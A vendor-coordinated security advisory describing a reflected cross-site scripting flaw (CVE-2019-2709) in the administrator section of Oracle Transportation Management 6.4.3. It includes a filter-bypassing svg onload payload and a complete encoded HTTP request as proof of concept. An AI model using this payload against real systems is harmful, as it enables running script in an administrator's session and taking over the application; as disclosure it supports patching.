usd-2019-0014 | Oracle Transportation Management (OTM)/6.4.3

Advisory ID: usd-2019-0014
CVE Number: CVE-2019-2709
Affected Product: Oracle Transportation Management
Affected Version: 6.4.3
Vulnerability Type: Reflected Cross-Site Scripting
Security Risk: High
Vendor URL: https://www.oracle.com
Vendor Status: Fixed

Description

Reflected XSS attack (or non-persistent attack) occur when a malicious script is reflected off of a web application to the victim’s browser. The attack is typically delivered via email or a web site and activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts.

The vulnerability is located in the administrator section of the application. If an attacker succeeds to execute a specific GET request via CSRF inside the browser of a logged in administrator, he will execute javascript in the context of the administrator user. In result he can perform actions on behalf of the administrator and thus potentially compromise complete application.

Proof of Concept

The vulnerability present is a reflected cross site scripting attack. The vulnerable parameter is „query_type“.

The request is send if the user:
1.) Logs in as an administrator
2.) Selects the menu „Restricted Party Screening“
3.) Selects the sub menu „Restricted Party Screening“.
4.) Clicks the button „Match“ to start a search. The search parameters may be empty.
5.) Inside the displayed table clicks on a column to sort the corresponding results.

Since the parameter is URL-encoded, the attacker also has to encode his payload. Due to incorrect filtering „> enables the attacker to break out of the context and insert custom HTML code.
The application tries to prevent Croos-Site Scripting attacks by filtering e.g. &ltscript> or &ltimg> tags with embedded javascript. But for example the string &ltsvg onload=alert(1);> is not being filtered.

The complete Payload would look like this: urlencode(„>&ltsvg onload=alert(1);>) .

GET /GC3/gtm.webserver.query.QueryResultSortServlet/1552062217898?ct=ODI3NjMyMjQxNjY5MzU5NDU5MQ%3D%3D&bcKey=MTU1MjA2MjIxNzkwMjox&sortField=FirstName&sortType=DESC&query_type=%22%3e%3c%73%76%67%0c%6f%6e%6c%6f%61%64%3d%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%75%73%64%2e%64%65%22%3b%3e HTTP/1.1
Host: xxx.yyy.zzz
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xxx.yyy.zzz/GC3/gtm.webserver.query.QueryResultSortServlet/1552062217898?ct=ODI3NjMyMjQxNjY5MzU5NDU5MQ%3D%3D&bcKey=MTU1MjA2MjIxNzkwMjox&sortField=FirstName&sortType=ASC&query_type=
Cookie: OTMi=2rVd7wQ7iXICrkfRPqoRYC3SUkoIqFCHRg8l197RCJbhrvK6v-gF!-1223214642
Connection: close
Upgrade-Insecure-Requests: 1

Fix

Make sure to encode the user supplied input.

Timeline

  • 2019-03-26 First contact request via secalert_us@oracle.com
  • 2019-03-27 Oracle Security Team opened a ticket for the issue
  • 2019-04-13 Status update: Issue is fixed in CPUApr2019
  • 2019-07-31 Security advisory released

Credits

This security vulnerability was found by Luca Rupp of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.